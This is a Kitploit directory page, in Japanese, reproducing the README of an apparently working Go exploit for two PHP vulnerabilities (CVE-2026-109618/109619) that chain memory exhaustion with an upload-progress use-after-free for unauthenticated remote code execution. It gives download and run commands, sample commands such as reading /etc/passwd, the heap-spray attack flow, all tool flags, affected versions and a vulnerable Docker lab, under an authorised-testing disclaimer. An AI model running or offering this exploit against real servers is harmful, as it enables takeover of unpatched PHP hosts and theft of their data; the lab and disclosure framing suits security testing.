Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-109618-exploit — [PHP2Shell] CVE-2026-109618 / CVE-2026-109619 の Golang エクスプロイト: OOM 破壊 + session.upload_progress UAF を悪用した PHP 5.4~8.5.11 の未認証 RCE | Kitploit
ツール/GitHubGitHub/iamlucif3r/cve-2026-109618-exploit
メモリフォレンジック脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールラボと実践
GitHubiamlucif3r/cve-2026-109618-exploit

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-109618-exploit

[PHP2Shell] CVE-2026-109618 / CVE-2026-109619 の Golang エクスプロイト: OOM 破壊 + session.upload_progress UAF を悪用した PHP 5.4~8.5.11 の未認証 RCE

リポジトリを見る
21日前未レビュー

PHP2Shell — CVE-2026-109618 / CVE-2026-109619

PHP 5.4.0 – 8.5.11(すべてのWebサーバー)における未認証のリモートコード実行。
CVSS 9.2 クリティカル · 2026-10-21 に修正済み · CISA KEV 2026-10-26

許可されたセキュリティテスト専用 — 自身が所有するシステム、またはテストの明示的な書面による許可を得ているシステムに対してのみ使用してください。


クローンせずに使用する

オプション A — go install(最速、Go 1.22+ が必要)

go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"

Goがインストールされていませんか?30秒でインストールできます:

# Debian / Ubuntu / Kali
sudo apt install -y golang-go

# then run go install as above

オプション B — ビルド済みバイナリをダウンロードする(タグ付きリリースから)

ビルド済みバイナリは、すべての GitHub Release に添付されています。

# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# Linux ARM64
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Apple Silicon
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

# macOS Intel
curl -Lo exploit \
  https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"

新しいタグがプッシュされると、バイナリは GitHub Actions によって自動的にビルドされます。
curl が「Not found」と書かれた小さなファイルを返す場合、リリースはまだ存在しません — 代わりにオプション A を使用してください。


クローンして実行(組み込みラボ付き)

git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit

make all            # start lab + run exploit in one shot
make exploit        # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"

機能概要

PHPには、細工された multipart/form-data HTTP POSTリクエストによって引き起こされる2つの重大なメモリ安全性の脆弱性があります:

CVE種類トリガー
CVE-2026-109618メモリ破壊 (OOM)大きなmultipartフィールドがパース中に memory_limit を枯渇させ、部分的に初期化された状態で longjmp() が発火する
CVE-2026-109619Use-after-freePHP_SESSION_UPLOAD_PROGRESS フィールドが、前のリクエストで解放されたワーカーメモリを読み取る

どちらのバグも、ログイン、特別なエンドポイント、アプリケーションコードを必要としません — これらは いずれかの .php スクリプトが実行される前に、PHPエンジン内部で 発火します。

注釈付きHTTPリクエストを含む完全な技術的詳細については、docs/vulnerability.md を参照してください。


エクスプロイトの仕組み

Phase 1 (CVE-2026-109618)
  Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
  → worker's internal session/decoder state freed but NOT zeroed
  → stale pointers remain in the PHP worker heap

                     same worker process ↓

Phase 2 (CVE-2026-109619)
  POST with Cookie: PHPSESSID=<random>
        + PHP_SESSION_UPLOAD_PROGRESS field  ← fires before any app code
        + 128 KB file upload (fake PHP zval structs)
  → upload progress handler dereferences stale pointer → UAF
  → heap spray reclaims freed region → controlled write → RCE

すべてのフラグ

フラグデフォルト説明
-target必須ベースURL(例: http://192.168.1.10)
-path/index.phpPHPエンドポイントのパス
-cmdid実行するOSコマンド
-modeautoauto / modphp / fpm
-workers8スプレーするワーカースロット数
-oom-parts30フェーズ1のマルチパートフィールド数
-part-size204800フィールドあたりのバイト数(200 KB)
-spray-size131072ヒープスプレーサイズ(128 KB)
-timeout15sリクエストごとのタイムアウト
-verbosefalse生のレスポンスボディを出力
-leak-onlyfalseメモリリークのみ(ASLR解析)

影響を受けるバージョン

ブランチ最後の脆弱バージョン修正済み
PHP 8.28.2.348.2.35
PHP 8.38.3.358.3.36
PHP 8.48.4.268.4.27
PHP 8.58.5.118.5.12
PHP ≤ 8.1すべてアップストリームのパッチなし — ディストロのバックポートを使用

ラボ(脆弱なDocker環境)

sandbox/ ディレクトリには、両方のCVEを露呈するデフォルト設定の、すぐに使える脆弱なターゲット(PHP 8.4.26 + Apache mod_php)が含まれています。

cd sandbox
docker compose up -d        # starts on :8888
open http://localhost:8888   # attack surface dashboard
docker compose down

Makefile クイックリファレンス

make               show all commands
make all           start lab + run exploit (one shot)
make lab           start Docker lab
make lab-stop      stop Docker lab
make lab-logs      tail Apache/PHP error logs live
make lab-shell     open bash inside the container
make exploit       build & run against lab
make exploit-fpm   FPM mode, 16 workers
make leak          memory leak mode (ASLR analysis)
make build         build binary only
ツールをダウンロード